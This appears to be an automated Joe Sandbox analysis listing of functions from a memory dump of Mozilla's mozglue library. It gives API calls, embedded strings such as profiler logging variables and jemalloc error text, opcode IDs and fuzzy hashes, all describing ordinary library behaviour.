Part of subcall function 6CAFEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB2D7F3), ref: 6CAFEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CAFEDC1

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: beae89d7a31ca5b85dc63fcaf0403672b38fe57e231cb555bef53c1ba5f254f0
Instruction ID: 2b4f9316847c754f5ed675ef3e98665bab06e3df0912ddc5812a0ad84f93e1ac
Opcode Fuzzy Hash: beae89d7a31ca5b85dc63fcaf0403672b38fe57e231cb555bef53c1ba5f254f0
Instruction Fuzzy Hash: 8A51E471E053449FDB10DF68D9406EEB7B1AF49318F48842DE8656BB40E7346989C7A2

Function 6CB6A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB6A565

Part of subcall function 6CB6A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB6A4BE
Part of subcall function 6CB6A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB6A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB6A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB6A6B6

Strings

z, xrefs: 6CB6A6AE
0, xrefs: 6CB6A5FB

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 0fe22fc53281e829448db194167a323989210cba39fdc1c218430f50cc8b1b7c
Instruction ID: a4d432565eab117f3ee47686e6086f9d7d006dd29e3a0140b6d904a98ebca653
Opcode Fuzzy Hash: 0fe22fc53281e829448db194167a323989210cba39fdc1c218430f50cc8b1b7c
Instruction Fuzzy Hash: DC4135719087859FC741DF29C480A9FBBE4BF89354F408A2EF49987650EB30E649CB93

Function 6CB39420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
__Init_thread_footer.LIBCMT ref: 6CB3949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB3947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB39459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB3946B

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d7fa92528489ca683952344a09f0e59128d2aa74e9bcb41534d831da81cb3437
Instruction ID: a44415a6986f7397be61bb3bfc278873667dcd33a51daaf6486e0089a4aeff46
Opcode Fuzzy Hash: d7fa92528489ca683952344a09f0e59128d2aa74e9bcb41534d831da81cb3437
Instruction Fuzzy Hash: FB012874E001A08BD7209B5CD818A493379EB05338F04053BDC0EC7B41EA25D5648BBB

Function 6CAFB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB6AC

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CAFB61E), ref: 6CAFB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CAFB61E,?,?,?,?,?,00000000), ref: 6CAFB79A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 95a2be4c9bf96e48989bdcaa08ce834885a5343508acc27423bc73e4311c282c
Instruction ID: bf5d9062208910cd57ae71ceaccbbc1d1c58e361e7b7ffccbf60f79c4790c2cc
Opcode Fuzzy Hash: 95a2be4c9bf96e48989bdcaa08ce834885a5343508acc27423bc73e4311c282c
Instruction Fuzzy Hash: 1B41B3B2D001159FCB04DF69EC806AFB7B5BB44324F290729F825E7790E731A9458BE1

Function 6CB6B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB6B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB6B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB6B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB6B5F4
__Init_thread_footer.LIBCMT ref: 6CB6B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB6B61F
std::_Facet_Register.LIBCPMT ref: 6CB6B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB6B655

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 803d5e4c4e5da56299e03f870d999cf75a72772fef505cf651ceb7eae33cd803
Instruction ID: 8d78d340dd6c681231b1e4a26dcdf552b488651f095fe46365e68c8ac91d6a7c
Opcode Fuzzy Hash: 803d5e4c4e5da56299e03f870d999cf75a72772fef505cf651ceb7eae33cd803
Instruction Fuzzy Hash: 81319371B00164CBCF01DF69C9589AEB7B5FF8A324B150559ED1697740DB34AC06CFA2

Function 6CB41D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB41D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB41BE3,?,?,6CB41D96,00000000), ref: 6CB41D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB41BE3,?,?,6CB41D96,00000000), ref: 6CB41D4C
GetCurrentThreadId.KERNEL32 ref: 6CB41DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB41DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB41DDA

Part of subcall function 6CB41EF0: GetCurrentThreadId.KERNEL32 ref: 6CB41F03
Part of subcall function 6CB41EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB41DF2,00000000,00000000), ref: 6CB41F0C
Part of subcall function 6CB41EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB41F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB41DF4

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0541e11fd69af021ab6e0df4785f5920ae759768780027b6f76c0402519438a9
Instruction ID: 4ecc545d23e43203ff4d460ab73aaf7f4c0ed717bbcd5c81cd1886fdca4740a1
Opcode Fuzzy Hash: 0541e11fd69af021ab6e0df4785f5920ae759768780027b6f76c0402519438a9
Instruction Fuzzy Hash: 2D418BB56057549FCB10CF29C488A5ABBF9FF49314F14842DE95A87B41CB31F854CBA1

Function 6CB384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB3850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB3851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB3855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB3856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB385AC

Part of subcall function 6CB37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB3767F
Part of subcall function 6CB37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CB385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB37693
Part of subcall function 6CB37670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB385B2

Part of subcall function 6CB15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB15EDB
Part of subcall function 6CB15E90: memset.VCRUNTIME140(6CB57765,000000E5,55CCCCCC), ref: 6CB15F27
Part of subcall function 6CB15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB15FB2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 2d96446c950096625f1de958a271b8dc69854db742fcb0d6a03f57de6cc56a34
Instruction ID: 710ba1177868cda0b8785e9706a4ffd49a7cf85e3d2b36cb92b819c75140bb7e
Opcode Fuzzy Hash: 2d96446c950096625f1de958a271b8dc69854db742fcb0d6a03f57de6cc56a34
Instruction Fuzzy Hash: D121A3742016519FDB15DB24C888A5A77B9EF4430CF25482EE95FC3B41DB32F948CBA2

Function 6CB3F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB2CBE8: GetCurrentProcess.KERNEL32(?,6CAF31A7), ref: 6CB2CBF1
Part of subcall function 6CB2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAF31A7), ref: 6CB2CBFA

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB3F598), ref: 6CB3F621

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

GetCurrentThreadId.KERNEL32 ref: 6CB3F637
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8,?,?,00000000,?,6CB3F598), ref: 6CB3F645
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8,?,?,00000000,?,6CB3F598), ref: 6CB3F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB3F62A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 86ee34b66a9f712d4b6dcd89381fa90d45df1455c6ca3f8edadf68b5f52996b4
Instruction ID: 405ca6a53a323450d0a8968fdcb784a56b834df0da6f1afc061ce4c8d772c0d6
Opcode Fuzzy Hash: 86ee34b66a9f712d4b6dcd89381fa90d45df1455c6ca3f8edadf68b5f52996b4
Instruction Fuzzy Hash: 1111E035304264AFDB04AF58C9489E97779FF86368B101456EE0987F01CB71AC25CFB5

Function 6CB00EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB2D9F0,00000000), ref: 6CB00F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CB00F3C
__Init_thread_footer.LIBCMT ref: 6CB00F50
FreeLibrary.KERNEL32(?,6CB2D9F0,00000000), ref: 6CB00F86

Strings

combase.dll, xrefs: 6CB00F18
CoInitializeEx, xrefs: 6CB00F36

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: db53d5d83a33d6a838ebfe1f09d52fe1d9daf152c403a69734238f28db7d1b8a
Instruction ID: 3e9ce6cd2aabeac60f61c5ab3c4cf855b702a00d99e62ec8ae6c39d58a6065be
Opcode Fuzzy Hash: db53d5d83a33d6a838ebfe1f09d52fe1d9daf152c403a69734238f28db7d1b8a
Instruction Fuzzy Hash: 5D1170B57052E09BDF12DF54D908A5A3B78FB4A326F004629ED0993B80D730E905CF7A

Function 6CB3F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3F561

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

GetCurrentThreadId.KERNEL32 ref: 6CB3F577
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3F585
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB3F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB3F56A
[I %d/%d] profiler_resume, xrefs: 6CB3F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CB3F3A8

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: d99f43a1bb824d4900dbb97bc6c2ce10ef3af6c925833d72ad3e41e72f73c1d0
Instruction ID: 3364cb8b1b41bb0e12d0c8c465c9ec4d838a62c2573f9cd474df8dea33d2b874
Opcode Fuzzy Hash: d99f43a1bb824d4900dbb97bc6c2ce10ef3af6c925833d72ad3e41e72f73c1d0
Instruction Fuzzy Hash: 20F0BE76600260AFEF116F64984CA6A7BBCEB862ADF000415FE0A87702CF318C048B75

Function 6CB3F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB3F598), ref: 6CB3F621

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

GetCurrentThreadId.KERNEL32 ref: 6CB3F637
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8,?,?,00000000,?,6CB3F598), ref: 6CB3F645
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8,?,?,00000000,?,6CB3F598), ref: 6CB3F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB3F62A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 88c487365b6019ffa7a0d67a139069b4b28ac388ec67ca98b8eae14aa588a63b
Instruction ID: 91eb44b0a96107c841ecc300e4339c6dc871eb2401eef135b3ef5fd32e732ea6
Opcode Fuzzy Hash: 88c487365b6019ffa7a0d67a139069b4b28ac388ec67ca98b8eae14aa588a63b
Instruction Fuzzy Hash: 15F0BE75300260AFEF116B64884CAAA7B7CEB862ADF000415FE0983702CB354805CF75

Function 6CB305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB2CFAE,?,?,?,6CAF31A7), ref: 6CB305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB2CFAE,?,?,?,6CAF31A7), ref: 6CB30616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CAF31A7), ref: 6CB3061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CAF31A7), ref: 6CB30627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB3061B, 6CB30625
<jemalloc>, xrefs: 6CB305FA, 6CB3060F

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 6da135c5bd18143ba1df647d662654bf10c6020dc333fc512f9feec9ccbc85f7
Instruction ID: f0ffc7667bdc4a24853125b94712cefedaff6cebf29a6c4c1f293143b0a80033
Opcode Fuzzy Hash: 6da135c5bd18143ba1df647d662654bf10c6020dc333fc512f9feec9ccbc85f7
Instruction Fuzzy Hash: 52E0C2E3A011A03BF9142256BC86DBB761CDBC6534F080039FD0D83701E95ABD1A56F7

Function 6CB005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

